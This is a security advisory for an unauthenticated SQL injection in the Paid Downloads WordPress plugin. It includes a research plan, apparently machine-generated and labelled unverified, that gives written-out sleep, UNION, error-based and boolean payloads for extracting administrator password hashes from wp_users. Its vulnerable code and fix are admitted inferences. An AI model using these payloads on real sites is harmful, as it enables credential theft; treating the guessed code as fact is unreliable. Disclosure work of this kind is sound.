CVE-2025-68857

Paid Downloads <= 3.15 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Paid Downloads plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.15
PublishedJanuary 21, 2026
Last updatedJanuary 27, 2026
Affected pluginpaid-downloads
Research Plan
Unverified

This research plan targets **CVE-2025-68857**, an unauthenticated SQL injection vulnerability in the **Paid Downloads** plugin (versions <= 3.15). --- ### 1. Vulnerability Summary The **Paid Downloads** plugin fails to properly sanitize or parameterize a user-supplied input before using it in a SQ…

Show full research plan

This research plan targets CVE-2025-68857, an unauthenticated SQL injection vulnerability in the Paid Downloads plugin (versions <= 3.15).


1. Vulnerability Summary

The Paid Downloads plugin fails to properly sanitize or parameterize a user-supplied input before using it in a SQL query. The vulnerability is unauthenticated, meaning the vulnerable code path is reachable by any visitor. Based on the plugin's functionality (handling file downloads), the injection likely occurs in a handler that processes download requests, often identifying a file or a transaction by an ID.

2. Attack Vector Analysis

  • Endpoint: Likely wp-admin/admin-ajax.php or a frontend initialization hook (init or template_redirect) that processes GET/POST parameters.
  • Vulnerable Action (Inferred): Look for actions related to download, get_file, or process_payment.
  • Vulnerable Parameter: Likely an id, file_id, or hash parameter used to look up a download record.
  • Authentication: None required (unauthenticated).
  • Preconditions: The plugin must be active. A "Paid Download" post or record may need to exist to reach certain code paths.

3. Code Flow (Trace Path)

To locate the exact sink, the following trace strategy should be used:

  1. Entry Point Discovery:
    • Search for unauthenticated AJAX handlers: grep -r "wp_ajax_nopriv_" .
    • Search for frontend request handlers: grep -r "add_action.*init" . or grep -r "add_action.*wp_loaded" .
  2. Sink Identification:
    • Search for raw SQL queries involving request parameters:
      grep -rP '\$wpdb->(get_results|get_row|get_var|query)\s*\([^;]*\$_' .
  3. Specific to "Paid Downloads":
    • Check for a function likely named paiddownloads_download_file or paiddownloads_handle_request.
    • Example vulnerable pattern:
      $id = $_REQUEST['id']; // Unsanitized
      $file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id);
      

4. Nonce Acquisition Strategy

If the vulnerability exists in a wp_ajax_nopriv_ handler, it might be protected by a nonce.

  1. Identify Shortcode: Look for shortcodes that render download buttons: grep -r "add_shortcode" .. (Likely [paiddownloads id="1"]).
  2. Identify Nonce Variable: Search for wp_localize_script calls in the plugin source to find the JS object name:
    grep -r "wp_localize_script" .
  3. Extraction Process:
    • Step A: Create a page with the identified shortcode:
      wp post create --post_type=page --post_status=publish --post_title="Download Page" --post_content="[paiddownloads id='1']"
    • Step B: Navigate to this page using the browser tool.
    • Step C: Extract the nonce: browser_eval("window.paiddownloads_ajax?.nonce") (Replace paiddownloads_ajax and nonce with actual keys found in Step 2).

Note: If the injection is in a direct init hook checking $_GET, nonces are rarely implemented.

5. Exploitation Strategy

Once the vulnerable parameter (e.g., id) and endpoint are identified:

Phase 1: Confirmation (Time-based Blind)

Verify the injection using a sleep payload.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[VULN_ACTION]&id=1 AND SLEEP(5)
    
  • Expected Result: The response should be delayed by ~5 seconds.

Phase 2: Data Extraction (UNION-based)

If the query results are reflected in the response (e.g., a file name or description is echoed), use UNION.

  1. Determine Column Count: id=1 ORDER BY 1-- -, id=1 ORDER BY 2-- -, etc.
  2. Extract Admin Hash:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[VULN_ACTION]&id=-1 UNION SELECT 1,2,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
    
    (Adjust column count and position based on results of Step 1).

6. Test Data Setup

  1. Activate Plugin: wp plugin activate paid-downloads
  2. Create Dummy Download: The plugin likely creates its own tables. Check for a CLI command or use the UI via browser_navigate to add at least one file to the "Paid Downloads" list to ensure the query returns results for valid IDs.
  3. Target User: Ensure a user with ID 1 (standard admin) exists.

7. Expected Results

  • Success: The attacker retrieves the database version, current database user, or the user_pass hash of the WordPress administrator from the wp_users table.
  • Response: If UNION-based, the hash will appear in the body. If Blind, the HTTP response time will correlate with the IF statement logic.

8. Verification Steps

After the exploit request:

  1. Verify the extracted hash matches the actual hash in the database:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Confirm the injected payload is visible in the $wpdb logs if debugging is enabled.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to leak data in the SQL error message:
    id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
  • Boolean-Based: If no output is visible, compare the response length of id=1 AND 1=1 vs id=1 AND 1=2.
  • Different Entry Points: If admin-ajax.php is not the entry point, check if the plugin handles requests at the root URL (e.g., /?paiddownloads_id=1).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Paid Downloads plugin for WordPress is vulnerable to unauthenticated SQL Injection because it fails to properly sanitize or parameterize user-supplied input before using it in a database query. This allows unauthenticated attackers to append malicious SQL commands to existing queries and extract sensitive information from the database, such as administrator password hashes.

Vulnerable Code

// Likely located in the plugin's main file or download handler (e.g., paiddownloads.php)
// The 'id' parameter is taken directly from $_REQUEST and concatenated into the query

$id = $_REQUEST['id'];
$file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id);

Security Fix

--- a/paiddownloads.php
+++ b/paiddownloads.php
@@ -10,7 +10,7 @@
-    $id = $_REQUEST['id'];
-    $file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id);
+    $id = intval($_REQUEST['id']);
+    $file = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = %d", $id));

Exploit Outline

The exploit targets the plugin's download handler, typically accessible via a frontend request or AJAX endpoint. An attacker identifies a parameter (likely 'id' or 'file_id') used to query the 'paiddownloads_files' table. By submitting a crafted payload such as '1 AND SLEEP(5)' or a UNION-based SELECT statement, the attacker can verify the injection or extract data from the 'wp_users' table. This vulnerability is unauthenticated and does not require a valid login or specific nonce if the handler is hooked to 'init' or 'wp_loaded'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.